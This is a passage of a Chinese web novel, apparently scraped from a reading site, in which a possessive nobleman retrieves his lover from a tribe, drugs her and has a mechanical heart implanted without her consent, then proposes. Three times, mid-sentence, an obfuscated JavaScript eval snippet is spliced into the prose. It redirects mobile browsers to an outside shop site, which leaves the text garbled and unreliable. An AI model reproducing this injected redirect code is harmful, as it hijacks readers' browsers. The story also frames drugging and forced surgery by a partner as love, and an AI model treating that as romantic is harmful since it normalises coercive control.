“我们事先虽不知情，可阿音的离世我们始终是有责任的，阿音的确因我而死。所以小识哥哥，等待会见了白滕部族的族人，你听见他们说什么话都不要往心里去，因为他们只是想为他们的族人讨回公道。他们都是一群很善良的人。” 善良？善良给你穿这样破烂的衣裳，让你干粗活？还给你戴上像狗链子一样的定位仪？ 迟载停下脚步，不用想也知道艾知在最开始遭受了什么样的待遇。 她离了修养舱，光是排异反应就能把她折磨得生不如死。迟载并不信这群未开化的野蛮部落不会报仇，对艾知没有一丁点恨意。 “他们没有伤害我，相反我在这里得到了很好的医治，我还认识了——”艾知还在絮絮叨叨地说着，忽地被迟载捧住脸。 艾知被这突如其来的举动呆愣住，睁着一双水汪汪的眼睛看着迟载。迟载满眼心疼，他与她头抵头，鼻尖碰鼻尖。 天晓得他有多么着急想找回她，是有多么想她。 “我很想你。”男人声音虽然带着疲倦，但饱含无限的爱恋与思念。 父亲临时又召见他，催问他有没有找到第三区的机密，在得到否定答案后，迟恩认定他玩忽职守。在得到保证日后会专心处理政事，参加首辅大臣选举后，他才又飞奔过来寻找艾知。 “嗯，我也想你。”艾知拍拍迟载的背，轻柔地说道。 “这里没有我们家富裕，也没有我们第二区的科技先进，所以小识哥哥我们要好好补偿他们，好不好？就当弥补我们对阿音的过错和歉意。” “哦，对，不要把今天的事情告诉阿琪洛那个大坏蛋啊。我跟你说他特别特别坏，是坏到骨子里的那种坏。” “嗯，乖。” 迟载用吻堵住艾知喋喋不休的嘱咐，内心的独占欲让他觉得再从艾知的口中听到一句阿言或者白滕部族，他就要铲平这个带走了艾知的部族。 此刻的他只想与他的爱人温存，诉说思念，“让我抱你一会。” 两人一道去了白滕部族的议事大厅。 没有艾知想象的几堂会审，也没有想象中的破口大骂，大家只是很严肃地站在四周，审视着迟载和她。 此时的艾知脚腕上的定位仪已被取下，她没有在议事大厅见到阿言，想来也是阿言最先将消息告诉了大家，并告诉大家迟载也是受阿琪洛所骗。 这时，迟载先开口了，他面向坐在最上方的长老，说道：“这段时日艾知深受你们照顾，我向你们表示谢意。阿音的离世我已听艾知说了，我对此深表遗憾以及歉意。为此，我愿意提供你们所需的物资和钱财，表示我们的诚意。” 话毕，议事大厅依旧沉默着。 艾知有些着急，她担心地望向长老，这一秒，恰好与长老对视。 长老的表情依旧是淡淡的，看不出喜怒。他将目光移向迟载：“第二区的贵族？” 迟载点头。 “第二区和第三区关系来往并不密切，据我所知，第二区也不缺乏医术高超的医生。” “各有所长，众所周知，第二区因能源矿产闻名，同样第三区的医术同样被世界称道。我相信第三区自然有比第二区更好的医生。”迟载不疾不徐，沉着回答道。 “所以就找上了阿琪洛？” 迟载颔首：“是这样没错，听闻阿琪洛只要给钱，就能办到常人医生办不到的事情。任何疑难杂症到他手上，都能轻松解决。”迟载又道，“阿音的事情的确抱歉，是我们的过错。但我们事先确实不知情，不知道病人换血后会离世。为此，我愿意 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迟载看到帐子的那一瞬，皱了下眉，倒也没说什么，跟着进去了。 一进来，艾知想见到的两个人刚巧都在。 阿言正在给兰亚把脉。 见到突然进来的两人，阿言和兰亚都吓了一跳。 “你干什么？干嘛把他带进来！”阿言语气十分不友善。 艾知跟他怼惯了，当即就开口：“这是我的帐子，我想带谁进来就带谁进来！” “这我求阿爸阿妈给你的帐子，好吧。你怎么还倒打一耙呢！”阿言气得说不出话来。 艾知不知道这帐子原来是阿言为她求自己父母求来的一所住处，气势立刻削弱到没有，转首就向阿言道歉：“对不起，我不知道你为我做这么多。是我错怪你了。” “哼。知道是我的帐子，你还带外人进来！”阿言瞪了一眼艾知，余光瞥向迟载，故意又“切”了一声。 “好像这里不止我一个外人吧。”迟载目光偏向兰亚，兰亚低下头，没说话。 艾知以为迟载这样一张冰冷冷的脸吓到了大病初愈的兰亚，走到兰亚面前蹲下，握住她的手，说道：“兰亚，他是我的男朋友，他是来接我走的。我来是跟你和阿言道别的。” 听到艾知说即刻就走，阿言十分震惊。 “嗯，长老叫我们今天就离开。我哥哥的确还有事要忙，我们不能再耽搁时间了。” 艾知将手里的三枚贝币塞到阿言手里，解释道： “这四枚贝币是我哥哥给的，长老不愿收下哥哥给的补偿，所以我就把这四枚贝币给你了。怎么兑钱怎么分配，看你自己。这些天，谢谢你，还有你阿爸阿妈的照顾，说到底是我对不起你们一家。” “又说这些，不是说好不提了吗？”阿言嘀咕道，语气并不开心。 “好，不提啦！我们都朝前看。” 艾知又转向兰亚，将最后一枚贝币放到兰亚手里。 “这枚贝币是给你的。兰亚，我要跟我哥哥走啦，我相信阿言会帮我照顾你的，我也希望你能快点找回记忆。如果有机会的话，我们一定会再见面啊。” 兰亚握住那枚贝币，不知道说什么好，望着艾知那双充满笑意的眼睛，心里一下子好像被什么填满了，很温暖，但同样蕴含着舍不得。 “好，我们会再见面的。”兰亚凝视着那双黑眸，眼神坚定，像是捍卫着不可动摇的信念。 “那我可真走啦！” 37. 第 37 章 “我们这是去哪儿？回家吗？” 艾知坐在自动驾驶的舰船内，与迟载坐在一起，把迟载的手抱在怀里，揉捏着玩。 与迟载分别几日，她格外黏迟载。 迟载十分享受艾知的主动亲呢，环抱住艾知肩膀的另只手捏了捏她过瘦的脸颊，心想回去要给艾知多加点餐，给她喂胖点。 “回阿琪洛那里。” 艾知不敢相信自己的耳朵。 她蹭的一下从迟载怀中坐起，满脸不可置信。 “为什么要去那里？小识哥哥你难道忘记阿琪洛是什么样的人了吗？他为了他的实验害死了许多人。” 迟载勾勾嘴角，把玩艾知垂落在肩的辫子，丝毫不在意：“可是我的小爱心脏没有换掉啊。” “没有关系的。我换了血，已经可以适应这里的环境了。就算不换心脏，我还是可以活下去的。” 少女把男人的手拉至她的胸前，肌肤下是规律的心跳声。 迟载顺势一把搂住艾知的腰，将她整个人都横抱在自己腿上。 “可是我想永永久久地跟你在一起。” 他也学着艾知，引着她将手覆在自己的胸膛上。 男人的心跳遒劲有力，远比艾知的跳动得快。 “我们现在不就在一起吗？”艾知耐下性子，想跟她的小识哥哥好好解释。 她想告诉他，即使不换心脏，她现在的身体也可以长久地陪在他身边。 “不够。” 迟载凝视着艾知，时间真的将他的艾知雕刻得完美无缺，她一如他们初见时那般漂亮，甚至还要更甚。 “我说的长长久久，是一辈子，也是下辈子。我要生生世世与你在一起。” 艾知不信转世之说，奶奶的离世让艾知过早得明白没有谁可以陪自己走到最后。 她幼年失去父母，十五岁没了奶奶，自己与迟载，也不知道谁会先离开谁。 虽然她并不是很想面对“生死”这个话题，可历经阿音的离世，她与迟载都必须要面对这个事实。 “可是我——” 话音未落，原先盛满温柔爱意的眸子突然生出一点凶戾，迟载盯着她，语调不自觉变冷：“你不想？” 顷刻的转变令艾知心弦一颤，当日也是这般场景，她不愿换机械心脏，迟载忽然转变了态度，陌生得让艾知害怕。 空气中飘来若有若无的鸢尾花香，艾知整个人晕乎乎的，但她还在坚持。 她想说没有人可以陪对方到老，大家终将离开人世。也想让迟载不要这么凶。可眼下，她竟然想打哈欠。 游离在脊背上的手犹如毒蛇，在她身后攀附爬行，直至她的腰间。那只作恶的手不知捏住了哪块软肉，艾知“唔”了一声，很快瘫软下来，无力地倒在男人怀中。 “你对我……做了什么？” 艾知内心无比清楚这种鸢尾花香是什么。 她在白滕部族的这几日，跟着阿言学到了不少东西。阿言说有些植物提取精萃，制成安神定心的药香，若是剂量加重，或是有其他草本植物的加入，便能成迷惑人心的迷药。 原先只是淡淡的花香，此刻味道愈加浓郁，只可能是迟载动了手脚。 “宝贝，拒绝有时确实可以增添我们之间的一些情趣。但我不喜欢你一而再再而三地拒绝我对你的好意。”男人低首，亲吻了她的头发，声音依旧阴冷。 艾知努力睁眼，想要从迟载身上爬起来，抵抗香味对她意识的侵袭。 迟载见了觉得好笑，伸手拨弄了两下艾知的浓密又纤长的睫毛，欺负她没法开口。 “宝贝，你在那个野蛮的部族里既要早起干粗活，住的又是那样脏兮兮的帐子。你告诉我，你睡得好吗？怎么累得一下子就趴我身上了？” 好，好得很！离了鸢尾花香，在白滕部族的每一天，她都睡得无比踏实。 艾知的意识愈发游离。 迷香让她产生了幻觉，尽管趴在一个成年男性精壮且坚硬的胸膛上。 现在也好似趴在软绵绵的棉花上，柔软又温暖，舒服得很想闭眼。 但她不喜欢这个样子，不喜欢迟载拿花香逃避与自己的问题，不喜欢迟载不听她的想法，不喜欢成为任迟载摆弄的娃娃。 “看来是很不喜欢那里了，都不愿说话了。” “宝贝没关系的，白滕部族的事情就彻底忘记吧，你再也不会过那样的日子了。我答应过你，我会送你想要的一切。” 艾知终究没能战胜迷香，眼皮还是不争气地阖上了。 见怀中的爱人睡得安稳，迟载像哄睡幼儿般轻拍艾知的背。 “睡吧，我的宝贝，这个世上没有人比我更爱你了。等你醒来，你就重获新生，真正属于这个世界了。你会感谢我的。” 少女昏睡着，而此时的阿琪洛实验基地正在做最后的机械心脏检查工作。 得知迟载已返回，早就被警告三缄其口的小伽已在迟载和艾知的专属休息室内等候着了，经过艾知被绑架一事，他就暗自发誓此后绝对不离艾知半步，一定不会让艾知再遇险境了。 等了许久，休息室的舱门缓缓平移拉开，迟载抱着熟睡的艾知出现在小伽的视线范围内。 见到艾知的那一瞬，小伽的电子眼立刻泪汪汪，要不是迟载念着他照顾艾知这么久，艾知回来见不到他会难过，否则在得知艾知失踪的那一刻他和A1038就已经成为第三区机器报废区的一堆破铜烂铁了。 没有艾知，就没有他小伽的第二条生命，小伽发誓他一定誓死守护小爱小姐的安全。 修养舱开启后，迟载刚刚将艾知小心翼翼地放进去，A1037紧随其后。 见是A1037，小伽又开始紧张起来，机械心脏现在好不容易制成了，可不能出一点故障。但迟载未开口，他作为机器用人是不可以率先发问的。 A1037并不是来报告坏消息的，相反，他十分有礼节地向迟载作了一个揖，恭敬地说道： “尊敬的迟公子，作为我们机械心脏工程项目的第17位合作方以及产品享用的至尊客户，我代表项目的主办方阿琪洛先生向您发出问好。感谢您对阿琪洛工程项目的支持，阿琪洛携实验基地集体向您发出最诚挚的感谢。” 切，搞这一套文邹邹的东西出来，小伽在迟家都没见过这样的汇报。 这哪里是汇报啊，分明就是给购买商品的金主开表彰大会。 阿琪洛一个医生竟将看病救人当成商品出售，其贪心程度令人发指。 迟载也同样未搭理这一套鸡不像狗不像的繁文缛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738608|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节，他在耐心地整理艾知已散乱的发辫。 “小辫子扎得这么乱，你离了我还是不行。” 说完迟载将捆扎发辫的阿言送她的那根琥珀发绳解下，套在艾知纤细的手腕上，抬起少女的手背轻轻吻了一下。 “很快你就会彻彻底底属于这里，属于我了。” A1037恭敬有礼的态度丝毫没有因迟载的傲慢而有所减弱，他稍等片刻后继续说道：“阿琪洛先生传我通知您，艾知小姐的机械心脏已准备完善，就等手术开始了。” 听到这话，迟载才转过头，脸上有了笑意：“好，辛苦了。” “在进入手术室之前，还请公子将艾知小姐转交给我们，我们会为小姐做术前消毒准备。待准备工作结束，手术即可进行。” A1037又向迟载鞠了一躬后，走到修养舱旁，按动手背上的一个按键，玻璃罩缓缓从修养舱升起，直至合上，修养舱上升之后，下方的地板出现了规则的裂纹，裂纹成了一道门，闸门开启，修养舱缓缓下移，随后闸门合上，修养舱消失在休息室内。 小伽瞅着修养舱的下移，在心中默默祈祷，保佑艾知的手术一切顺利。 他悄悄看了眼自己的主人，他一副云淡风轻，势在必行的样子，好像一切都在他的掌控之中。 以前迟载小的时候，小伽就觉得这孩子小小一个，活得却跟他们机器用人一样，好像没有什么情绪。 他们机器用人不表达情绪，是因为他们没有心，自然也没有情绪。 他们表达的喜怒哀乐，全靠代码指令。 而迟载则是心冷再加上脾气不好，这点从小就照顾他的小伽十分清楚。 迟载遗传了祖父迟洲远的臭脾气和洁癖，又被父亲迟恩的冷漠浸染，母亲雪莱赐予他绝佳的外表，却包不暖他疏离冷血的心。 从小被祖父严厉教养长大，被接到父母身边后又被家里的机器用人众星捧月般供养着。他几乎不用开口，别人通过面部表情识别就能知道他想要什么，时间久了，除了骨子里自带的礼节克制，性子自然而然更加傲慢。 小伽记得，唯一一次发现他的小主人大发雷霆，还是因为肖赫星送来的兔子在迟载屋子里拉屎，还咬坏了迟载珍藏的古典兵法。 艾知是唯一一个让他的主人有这么多表情变化的人。 小伽悄悄对比过迟家父母，林赛和肖赫星以及艾知带给迟载的情绪反应。 面对有生养之恩的父母，迟载冷冷淡淡，高情商的林赛和虎头虎脑的肖赫星顶多让迟载感到愉悦舒适，而艾知则带给迟载无数情感体验。 他对她有愤怒，有不解，更多的是喜爱，是控制，是占有，但唯独没有高傲。 他对艾知的感情，毫不夸张，是浓烈的，是剧烈的，是冰川下的滚烫岩浆。 可这烈焰岩浆似在积蓄力量往外喷涌，试图毁灭纯洁无暇的冰。 小伽没有喜欢过一个人，他不知道这样的喜欢对不对。 他分析过相爱的人彼此间的情绪占比值，发现没有一对像迟载这样极端。 艾知是他一尘不变的生活中，唯一的变数。 小小的羽毛落在水面，本以为会激起涟漪，却卷起汹涌海浪，羽毛翻滚在浪涛中，既不能沉溺，又无法漂浮，似乎要与海浪共沉沦。 38. 第 38 章 艾知是在一阵鸟鸣声中被吵醒的，她不耐烦地揉了揉眼睛，堵住耳朵，想继续睡下去。 却感觉有人将她拉入怀中，用手亲自捂住她的耳朵。 耳郭处温热的触感让艾知睁了眼，一抬眼，便看见含笑看着她的迟载。 睡醒一睁眼发现自己躺在一个超级大帅哥怀里，心情是很不错的，但是艾知记仇，她记得迟记载用花香迷晕自己这件事。所以表情冷冰冰的，睁着一双眼睛瞪迟载。 他没说话，只是笑，一个吻轻轻落在艾知的额间。 艾知嗅到他衣领间淡淡的鸢尾花香，下意识就想捂住鼻子，但没能如她愿，迟载像是预判了她的行动，握住她双手手腕，贴住他的脸颊。 艾知想摆脱都摆脱不掉：“你干嘛？我在生你的气呢！不要离我那么近！” “那不行，你可价值两千万呢。我可得好好护着，万一又跑丢了怎么办？”迟载坏笑。 “什么两千万……” 艾知忽然就不说话了，聪明如她怎么可能不知道迟载话中意—— 她换了机械心脏已成既定的事实。 迟载很喜欢观察艾知的表情，他发现艾知吃瘪，想说话又不知道说什么的表情特别有意思，可爱到他还想亲她。 为防止艾知还说气他的话，迟载说道：“这两千万退不掉了，只能辛苦我的小爱勉为其难使用了。” “你为什么……” 艾知很无力，可又不能做什么。她能清楚地感知到自己换了心脏后身体的变化，她的呼吸变得轻盈，她的感官好像更加敏锐…… 她总不能在自己得了好处之后，还要怪别人非要塞给她好处吧。 艾知的心情没来由得悲伤，小脸耷拉着，一点欢喜的感觉都没有。 迟载赶紧将人搂得更紧，哄道：“怎么办呢，我就是想给小爱花钱，想让小爱过得比公主还快乐。” 他又贴耳小声说道，“放心，你老公我有钱，钱多到你花不完的。” 艾知刚想说我不是这个意思，下一秒被迟载那句“老公”臊红了脸，而被转移了注意力。 “不要脸，谁是你老公。” 艾知不想看迟载，可迟载偏偏要她看。整个人覆在她之上，将她彻彻底底拢在怀中。 “宝贝，你紧张的话都说错了。我是你老公，你是我老婆，话要这样说才对。” “……”艾知无言以对，透过迟载的背后，她看到层层叠嶂的床幔，不禁好奇，“我们这是在哪儿？” “庞陇城的山林别墅。怎么样？喜欢吗？” 手一感应，卧室的墙壁全部变成高清玻璃，他们宛若像鸟类一样置身山林。 庞陇城四面环山，城中权贵看腻了城市景色，便将房子建在山中央，享受自然风光。艾知不知道迟载在第三区还有房产。 “你不喜欢阿琪洛的实验基地，所以我就买了一套你喜欢的植物景观的房子。”迟载亲了一下艾知的脸颊，“以后想来，我们就住这儿。” 新房子并没有激起艾知太多的欣喜，她在刚刚的梦中又回到了白滕部族，刚刚听见的鸟鸣唤起她跟阿言上山采药的回忆。 这里是很好，有绵软如云的按摩床，有全自动智能家居，高科技带来生活的便捷，可艾知总在怀念白滕部族留给她的那顶小小的帐房。 心间突然很堵，艾知坐起来，被子从光滑洁白的肩头滑落，她身上已被换上轻如蝉翼的真丝吊带睡裙，抚摸着被角，艾知有些想念那件密密麻麻针脚的粗布衣服了。 “怎么了？这么不开心。”艾知的平淡激起了迟载莫名的胜负欲，他想看见艾知欣喜的表情，想要她眼中对惊喜的欲望。 细细的吻从背部蔓延向上，酥酥麻麻的，惹得艾知瑟缩了一下。男人更加变本加厉，手从小腹前穿过，从背后单手将人扣入怀中。 热气喷在脖颈处，艾知有点痒，歪着脖子回避了点距离。这点小动作立刻激起迟载内心的荡漾，艾知坐在前面，没能看见自己身后的男人眼中划过的一丝不悦和征服欲。 “没什么。”艾知的直觉告诉自己不要在此刻提起前几日的事情，于是搪塞了回去，“你公事不是很多吗？我们什么时候回去？” “不急，第三区首辅大臣家的千金即将举办生日宴，我要代父亲出席。” 艾知没什么反应，迟载出不出去，跟她也没什么关系，她肯定还跟以前一样呆在家里等迟载回来。 迟载看穿了艾知的小心思，嘴角挂笑，故意逗她：“这次有舞会，规定要带女伴去。” “噢。”艾知还是兴致缺缺。 反正她这个身份迟载是不可能带她去的，她也没兴趣打听迟载要跟哪位女士共同参加什么千金的生日舞会。 “就不好奇我跟谁去？” “不好奇。” “真不好奇？” 为了回避问题，艾知索性扭过身子，想躺下继续睡大觉。可人在迟载怀里，根本没机会躺下。 迟载喜欢逗艾知，但这次见好就收，他握住艾知的纤细的手，跟玩具似的揉捏着玩：“闭上眼，我送你个礼物。” 艾知不想闭眼，她不再是小孩子了，礼不礼物的，她不稀罕。迟载越是叫她闭眼，她眼睛睁得越大。 迟载拿艾知没辙，旁边的柜子自动前移，他从中拿出一个小匣子，当着艾知的面打开。匣子一打开就发出耀眼的白光—— 一枚周围镶满饱满小圆珍珠的钻戒赫然躺在匣子中。 迟载捏住艾知的手，将戒指套在艾知右手的无名指上。 无名指戴入钻戒，其中意义不言而喻。 “宝贝，现在知道我要带谁去了吗？” 艾知一时间懵神，不知道该作何反应，这一切的一切好像来得太快了。 迟载的唇贴向艾知戴上钻戒的手，一个犹如蜻蜓点水般的吻落在手背。 “宝贝，嫁给我。” “我……” 艾知迟早会嫁给迟载，成为他的新娘，从很久以前，她就知道。 只是，这一天来的是这样快。 快到她才20岁，在贝器时代视作刚刚成年的年纪就要许下与一个男人相伴一生的诺言。 她想说要不再等等，她还没准备好，可话到嘴边却成了一句“好”。 面对迟载，她总是没有办法拒绝。 “可是我的身份……” 艾知并没有被突如其来的求婚打乱思绪，旧地球人的身份束缚着她，她时刻担心自己的身份被暴露，最后连累到迟载和小伽。 “宝贝，交给我。” 迟载笃信的语气仿若困扰艾知五年的烦恼不值得一提。 “我就是你最大的靠山，我会让你名正言顺出现在所有人面前。” 艾知躺回迟载怀里，背靠男人坚实宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776535|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阔的胸膛，心间被一句“靠山”填充的很满。 胸腔内起伏规律的心跳渐渐地与她背后感受到的心跳同频，逐渐合二为一。 她想，可能这就是爱吧。 她爱迟载，迟载爱她。 舞会开办还有五天的时间，迟载带艾知先来了第三区的某座府邸。 舰船刚停落，就有人在外边侍候着。 艾知与迟载手牵手下了舰船，小伽跟在他们后面提着行李。 过了安检口，进入大厅，迎接他们的是一位衣着十分华丽的妇人。 妇人看上去三四十岁，妆容精致，脸上带着恬淡的微笑。 “小迟载，咱们又见面了。”妇人看见了站在迟载身边的艾知，眼里含笑，“这位就是你的那个宝贝吧？” 这是迟载第一次带她正式拜访贝器时代的人，艾知紧张的要死，生怕自己一不小心就说错了话，给迟载惹麻烦。 “夫人您好，我叫艾知。” 来之前迟载没有告诉她他们此行要拜访谁，艾知就向这位看上去跟迟载很熟的妇人行了贝器时代最常见的见面礼。 妇人很满意艾知的礼节，赞赏地看了艾知好几眼，才对迟载说道：“小姑娘不错，大外甥，你教得很好。” 大外甥？ 这位是迟载的姨妈？ 小识哥哥并没有告诉过她，他还有其他亲人在第三区居住啊？ 艾知疑惑地看向迟载，迟载拍了一下艾知的脑袋。 他宠溺地解释道：“这位是艾莲夫人，是我母亲的多年好友。夫人待我很好，舞会开始前我们住在夫人这里。” 艾莲和迟载关系好是多年的情谊，艾知自然不会理所当然地认为所有人会像迟载对自己这样毫无保留地付出。 于是艾知再次向艾莲规规矩矩行了礼：“夫人这些天打扰您了。” 这一举动大大取悦到了艾莲，周旋名利场多年的艾莲细细打量艾知，对迟载带来的这个小姑娘越看越满意。 “一路上舟车劳顿，我已经派用人准备好了你们的卧室，休息一会后来吃晚餐吧。” 艾知的卧室就在迟载的隔壁，就连小伽都有专属的卧室。 不过艾莲指名要吃小伽的拿手好菜——蟹黄瘦肉羹，小伽一来便被派去后厨了，跟着迟载和艾知的是艾莲府中的机器用人。 环顾一周侍候在一边的机器用人，迟载知道艾知有一点不适应，一挥手让他们先出去。 艾知的卧室被安排到正对艾莲的玫瑰花园的位置，许是换了机械心脏的缘故，艾知对于香味格外敏感，靠近阳台，艾知愈是能闻见空气中夹杂着柠檬和玫瑰花香的味道。 傍晚五点的阳光照在花园，安逸舒适，不远处的人工天使喷泉招来几只飞舞的淡黄色蝴蝶。艾知细嗅着香味，闭上眼，心中有一丝想念他们在第二区的空中花园的家。 迟载从身后环抱住艾知，双手扣在艾知的小腹，轻声问道：“艾莲夫人你印象怎么样？” “嗯……很高贵，也很和善。” 花园中还有忙园艺的机器用人，一抬头便能看见艾知被迟载这样抱着，艾知有点不好意思，想挣脱迟载的怀抱。 迟载哪肯，稍稍用点力，就把艾知挤到阳台更往前的位置，他们层高三楼，下面就有一位捧着花洒走过去的机器用人。 “你对她印象这么好，那她当你妈妈好不好？” 39. 第 39 章 艾知一惊，转过身来背对花园，瞪大眼睛：“为……为什么？” “艾莲夫人膝下无子，丈夫也在两年前去世了，她特别孤单。一听说你是孤女，心疼的不得了，见你本人又特别喜欢，你们还是同一个姓氏，这么有缘，所以她想让我把你送给她当女儿。” 少女惊恐的表情在迟载眼里格外有趣，迟载拨开遮挡少女眼角的碎发，语气低沉富有磁性：“怎么办呢？我的小爱人见人爱，谁见了你都想把你抢去。” “可是我跟艾莲夫人今天才见面，她怎么会这么快喜欢上我，想要我当她女儿？” “她跟我说的呀，说你乖巧懂事，给她当女儿正合适。” 迟载的话犹如惊天大雷劈在艾知的心上，好久都不能缓和，她半信半疑，但看迟载一脸严肃的样子，又觉得这话是真的。 如果让她当艾莲夫人的女儿，那她是不是就要和迟载分开了。以后她在第三区，迟载在第二区，迟载又这样忙，他们一年都见不了几次面。 “你不是跟我求婚了吗？如果我去给艾莲夫人当女儿，那我以后怎么见你呢？” 艾知越说越急，声音开始发抖。她是真的害怕以后跟迟载见不了面，见不到小伽。 “我把小伽留下来，以后你就通过小伽跟我联络，好不好？艾莲夫人疼你，对你一定比我对你还好。” “我不要！我就要跟着你！你怎么可以不经过我的允许，随便地决定我的去留！”那双亮晶晶的眸子已闪烁泪花，艾知哽咽了，“你太坏了，你说什么就是什么，一点都不尊重我！你明明说要跟我生生世世都在一起，为什么这个时候又要把我抛开？” 艾知越说越气，越说越委屈，底下的机器用人听闻动静，纷纷仰头，艾知现在一点都不在乎被不被人看见了，小声地啜泣改为呜呜的哭。 迟载扫了一眼楼下，楼下机器用人立刻低下看热闹的头，四下分散，各干各的去了，不一会儿的功夫，花园的机器用人都不见了。 艾知还在哭，已经生气上头的她只想挣脱迟载去找小伽，结果被迟载牢牢抓住乱动的胳膊，箍在怀中。 迟载哄道：“骗你的，我怎么会抛下你呢？你是我的宝贝，我怎么会不要你呢？” “我跟艾莲夫人这样做是为了让你的身份合理化，你能正大光明地站在世人面前。” 艾莲认艾知作女儿是真，但提议却是迟载出的，为的就是让艾知在这个世界的身份合理化。 艾莲是第三区前财政大臣的夫人，年轻的时候跟雪莱是大学好友，一个主修钢琴，另一个主修唱歌。迟载听过艾知唱歌，唱的跟艾莲一样好。艾莲没有孩子，又跟艾知同姓氏，是收养艾知，给艾知身份的最佳人选。 不像阿琪洛视财如命，艾莲答应迟载的条件很简单，只需日后经常带艾知回来看她就行。她本身就喜欢孩子，但丈夫没有生育能力，她就没了要孩子的打算。 如今有现成的闺女，还是被迟载教养长大的，艾莲更心生喜欢。 讲完前因后果后，艾知终于冷静下来。 得知自己误会了迟载，还大吵大闹一场，女孩有点不好意思，安安静静地任由迟载抱着，也不说话。 “不闹了？” 一想到刚才在阳台的闹腾，艾知羞愧地就抬不起头来。她想，她闹的这样凶，花园里的机器用人全都看见了。 本想用余光看看有没有机器用人在偷瞄他们，结果自己偷瞄的小动作被迟载逮个正着。 迟载好笑：“这么在乎自己的面子呢。” 艾知羞愤地不想理迟载，轻轻哼了一声。 脾气还不小。 不过谁叫是他本人宠的呢。 迟载非常清楚艾知的性格，故意说出艾莲要抢艾知的话就是为了刺激艾知，看艾知是不是真的非他不可。 被白滕部族绑架的日子，打破了他与艾知原有的亲密关系，他必须要通过别的事情证明艾知的心。 “知道你怕羞，花园的用人在你哭之前就被我赶走了。”迟载使坏，抹掉眼角的泪珠后，故意在艾知耳旁轻声说道，“这么舍不得我呢，哭这么凶。” “才不是，我巴不得离开你，一个人跑得远远的，让你再也找不到我。”艾知瞪了迟载一眼，嘴巴撅老高，打掉迟载的手，不让他碰自己。 “那可不行。”迟载牵住艾知的右手，十指相扣后，扬起两人的钻戒，“是我说错了，是我舍不得你，我离不开你。” 晚宴开始在七点，艾莲叫后厨准备的全都是艾知爱吃的东西。 艾莲平常一个人吃饭吃习惯了，突然多出两个年轻人陪着她，心情非常好，还叫用人去酒窖取了珍藏的葡萄酒。 艾知自知在外人面前不能失了礼数，吃饭比平常更加文雅，小口进食的速度十分影响食欲，再加上在白滕部族喝的都是营养剂，胃缩小了一大圈，没吃一会儿就吃不下了。 迟载在吃食上一直严格监管艾知，他希望艾知可以再多吃一点，能吃胖一点，她现在抱起来要比以前轻很多。 “再吃点吧，今天备的都是你爱吃的。” 在迟载的劝说下，艾知又舀了几勺蟹黄瘦肉汤羹，最后还是放下了汤匙。 艾莲也觉察出艾知食欲的异常，关心道：“小爱本来就吃这么少吗？” 艾知本想说没事，结果被迟载抢先说了：“生了几场病后食欲就不是太好，后来被绑架了，吃的都是劣质营养剂，胃有些脆弱。” 艾莲不知道艾知被绑架过，听到迟载说，大吃一惊，忙问发生了什么。迟载避重就轻，隐去了去找阿琪洛的事情，挑了几个重点说给艾莲听。 艾莲从小锦衣玉食，被呵护着长大，结婚后跟丈夫琴瑟和鸣，唯一美中不足的就是没有孩子。她现在已经把艾知当成了自己的养女看待，对于艾知被绑架这件事，气得恨不得要踏平白滕部落，给艾知出气。 “难怪是野蛮人呢，文明没开化才会干出这样的蠢事。我的孩子，你受苦了。”艾莲一脸心疼。 艾知慌忙解释：“他们不是野蛮人，而且也不算绑架我，他们给我治病，对我挺好的。” “你这傻孩子，天天跟你小迟哥哥，他怎么也没教你个心眼子。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818881|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么身份，他们又是什么身份？他们指望着拿你找你哥哥换钱呢，你要是缺胳膊少腿了，你哥哥能放过他们？” “小爱没受到伤害是不幸中的万幸，所以我们现在尽量不去想那段不好的记忆了。”迟载笑着向艾莲举杯，“感谢莲姨的招待，让我们在第三区也有家。” “对对对，不好的记忆就不要再提了，我们看以后。” “再吃点。”迟载夹了一块西兰花虾仁蒸蛋给艾知。 艾知又怎能不知道这是迟载给自己的暗示呢，就算解释再多，高位者也不能理解生活在底层的百姓的挣扎和善意。 在他们眼中，贫穷等于没有受到良好教育，等于野蛮。 可要是没有阿琪洛掳走阿音，强迫她做换血手术，阿言他们也不会绑架她。但换心脏和换血是一辈子都不能向外透露的秘密，艾知不可能让迟载身陷险境。 艾知没有吃那块蒸蛋，而是等着艾莲和迟载聊完，才从饭桌上离席。她拒绝了迟载的陪同，自己一个人在侍者机器用人的引导下回了房间。 机器用人本想着留下伺候，却被艾知请走了。 她自理能力很强，生病的时候需要别人照顾以外，其余时间艾知都是自己弄。等送走了机器用人，艾知才关上门，有气无力地回到了自己的房间，躺倒在那张羽绒大床上。 